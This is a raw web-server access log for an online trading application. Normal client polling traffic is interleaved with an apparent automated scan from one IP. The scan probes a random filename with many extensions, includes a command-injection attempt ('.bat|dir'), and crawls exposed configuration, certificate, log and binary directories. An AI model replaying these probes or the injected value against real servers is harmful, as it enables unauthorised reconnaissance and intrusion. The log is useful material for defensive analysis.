[09/Jan/2026:10:47:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927106133 HTTP/1.1" -
[09/Jan/2026:10:47:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:47:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:47:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927121236 HTTP/1.1" -
[09/Jan/2026:10:47:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927110339 HTTP/1.1" -
[09/Jan/2026:10:47:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927111183 HTTP/1.1" -
[09/Jan/2026:10:47:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927127226 HTTP/1.1" -
[09/Jan/2026:10:47:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927115450 HTTP/1.1" -
[09/Jan/2026:10:47:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:47:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:47:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:47:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:47:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:47:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.htaccess HTTP/1.1" 196
[09/Jan/2026:10:47:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.PWD HTTP/1.1" 196
[09/Jan/2026:10:47:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.apw HTTP/1.1" 196
[09/Jan/2026:10:47:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.wwwacl HTTP/1.1" 196
[09/Jan/2026:10:47:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927116202 HTTP/1.1" -
[09/Jan/2026:10:47:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.xtp HTTP/1.1" 196
[09/Jan/2026:10:47:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.utf8 HTTP/1.1" 196
[09/Jan/2026:10:47:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.orig HTTP/1.1" 196
[09/Jan/2026:10:47:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.bat HTTP/1.1" 196
[09/Jan/2026:10:47:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.tcl HTTP/1.1" 196
[09/Jan/2026:10:47:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.ini HTTP/1.1" 196
[09/Jan/2026:10:47:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.js HTTP/1.1" 196
[09/Jan/2026:10:47:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.xls HTTP/1.1" 196
[09/Jan/2026:10:47:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.Big5 HTTP/1.1" 196
[09/Jan/2026:10:47:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.nn HTTP/1.1" 196
[09/Jan/2026:10:47:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.cs HTTP/1.1" 196
[09/Jan/2026:10:47:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.TPF HTTP/1.1" 196
[09/Jan/2026:10:47:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.js0x70 HTTP/1.1" 196
[09/Jan/2026:10:47:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927120588 HTTP/1.1" -
[09/Jan/2026:10:47:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.gz HTTP/1.1" 196
[09/Jan/2026:10:47:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.mdb HTTP/1.1" 196
[09/Jan/2026:10:47:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.exp HTTP/1.1" 196
[09/Jan/2026:10:47:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927133237 HTTP/1.1" -
[09/Jan/2026:10:47:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.bas:ShowVolume HTTP/1.1" 199
[09/Jan/2026:10:47:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.cnf HTTP/1.1" 196
[09/Jan/2026:10:47:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.nsconfig HTTP/1.1" 196
[09/Jan/2026:10:47:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.shtm HTTP/1.1" 196
[09/Jan/2026:10:47:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.stm HTTP/1.1" 196
[09/Jan/2026:10:47:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.yml HTTP/1.1" 196
[09/Jan/2026:10:47:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.log HTTP/1.1" 196
[09/Jan/2026:10:47:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.svc HTTP/1.1" 196
[09/Jan/2026:10:47:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.backup HTTP/1.1" 196
[09/Jan/2026:10:47:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.bat|dir HTTP/1.1" 199
[09/Jan/2026:10:47:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu._ HTTP/1.1" 196
[09/Jan/2026:10:47:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.iso8859-8 HTTP/1.1" 196
[09/Jan/2026:10:47:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.fhp HTTP/1.1" 196
[09/Jan/2026:10:47:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.showsource HTTP/1.1" 196
[09/Jan/2026:10:47:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.BBoardServlet HTTP/1.1" 196
[09/Jan/2026:10:47:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.CGI HTTP/1.1" 196
[09/Jan/2026:10:47:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.swf HTTP/1.1" 196
[09/Jan/2026:10:47:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927121242 HTTP/1.1" -
[09/Jan/2026:10:47:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.dbc HTTP/1.1" 196
[09/Jan/2026:10:47:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.jws HTTP/1.1" 196
[09/Jan/2026:10:47:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.dbm HTTP/1.1" 196
[09/Jan/2026:10:47:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.net HTTP/1.1" 196
[09/Jan/2026:10:47:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.en HTTP/1.1" 196
[09/Jan/2026:10:47:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.access HTTP/1.1" 196
[09/Jan/2026:10:47:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.php_bak HTTP/1.1" 196
[09/Jan/2026:10:47:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.json HTTP/1.1" 196
[09/Jan/2026:10:47:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.se HTTP/1.1" 196
[09/Jan/2026:10:47:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.cp866 HTTP/1.1" 196
[09/Jan/2026:10:47:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu HTTP/1.1" 196
[09/Jan/2026:10:47:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.idq HTTP/1.1" 196
[09/Jan/2026:10:47:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.com HTTP/1.1" 196
[09/Jan/2026:10:47:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.htw HTTP/1.1" 196
[09/Jan/2026:10:47:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927125768 HTTP/1.1" -
[09/Jan/2026:10:47:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.cfm HTTP/1.1" 196
[09/Jan/2026:10:47:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.cfc HTTP/1.1" 196
[09/Jan/2026:10:47:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.htpasswd HTTP/1.1" 196
[09/Jan/2026:10:47:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.00RelNotes HTTP/1.1" 196
[09/Jan/2026:10:47:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.pdf HTTP/1.1" 196
[09/Jan/2026:10:47:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.htr HTTP/1.1" 196
[09/Jan/2026:10:47:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.cgi+ HTTP/1.1" 196
[09/Jan/2026:10:47:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.properties HTTP/1.1" 196
[09/Jan/2026:10:47:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.pt HTTP/1.1" 196
[09/Jan/2026:10:47:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927139226 HTTP/1.1" -
[09/Jan/2026:10:47:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.php= HTTP/1.1" 196
[09/Jan/2026:10:47:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.lst HTTP/1.1" 196
[09/Jan/2026:10:47:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:47:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.bin HTTP/1.1" 196
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.shm HTTP/1.1" 196
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitemap.xml HTTP/1.1" 196
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?C=N;O=D HTTP/1.1" 3426
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?C=S;O=A HTTP/1.1" 3426
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.c HTTP/1.1" 196
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CHANGES.txt HTTP/1.1" 59
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ HTTP/1.1" 7805
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ HTTP/1.1" 3003
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NOTICE.txt HTTP/1.1" 2865
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/ HTTP/1.1" 5063
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?C=D;O=A HTTP/1.1" 3426
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ABOUT_APACHE.txt HTTP/1.1" 13741
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LICENSE.txt HTTP/1.1" 44494
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ HTTP/1.1" 30485
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/ HTTP/1.1" 4338
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs/ HTTP/1.1" 46
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/ HTTP/1.1" 884
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/blank.gif HTTP/1.1" 199
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/ HTTP/1.1" 25762
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/text.gif HTTP/1.1" 199
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/folder.gif HTTP/1.1" 199
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?C=M;O=A HTTP/1.1" 3426
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?C=N;O=A HTTP/1.1" 3426
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?C=S;O=D HTTP/1.1" 3426
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/?C=N;O=D HTTP/1.1" 7805
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /INSTALL.txt HTTP/1.1" 310
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/ HTTP/1.1" 259905
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/?C=M;O=A HTTP/1.1" 7805
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/?C=N;O=D HTTP/1.1" 3003
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.LCDispatcher HTTP/1.1" 196
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/?C=M;O=A HTTP/1.1" 3003
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/?C=D;O=A HTTP/1.1" 3003
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/?C=S;O=A HTTP/1.1" 3003
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/?C=S;O=A HTTP/1.1" 7805
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/ HTTP/1.1" 1541
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.bas HTTP/1.1" 196
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/?C=D;O=A HTTP/1.1" 7805
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/charset.conv HTTP/1.1" 1820
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/extra/ HTTP/1.1" 4002
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/iasia/ HTTP/1.1" 1353
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/httpd.conf HTTP/1.1" 21092
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/magic HTTP/1.1" 13449
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.htm HTTP/1.1" 196
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/mime.types HTTP/1.1" 62810
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/ HTTP/1.1" 1538
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/openssl.cnf HTTP/1.1" 12714
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/ HTTP/1.1" 1753
[09/Jan/2026:10:47:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927126275 HTTP/1.1" -
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ab.exe HTTP/1.1" 99840
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/workers.properties HTTP/1.1" 344
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.gif HTTP/1.1" 196
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/abs.exe HTTP/1.1" 111104
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/apr_dbd_odbc-1.dll HTTP/1.1" 31744
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/apr_crypto_openssl-1.dll HTTP/1.1" 19456
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/apr_ldap-1.dll HTTP/1.1" 14848
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.home HTTP/1.1" 196
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/brotlicommon.dll HTTP/1.1" 137216
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/dbmmanage.pl HTTP/1.1" 9141
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/htdbm.exe HTTP/1.1" 125952
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.TXT HTTP/1.1" 196
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/htdigest.exe HTTP/1.1" 86528
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/htcacheclean.exe HTTP/1.1" 102400
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/httpd.exe HTTP/1.1" 31232
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/htpasswd.exe HTTP/1.1" 121344
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.grp HTTP/1.1" 196
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/httxt2dbm.exe HTTP/1.1" 66560
[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/jansson.dll HTTP/1.1" 55296
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/back.gif HTTP/1.1" 199
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.inc HTTP/1.1" 196
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/unknown.gif HTTP/1.1" 199
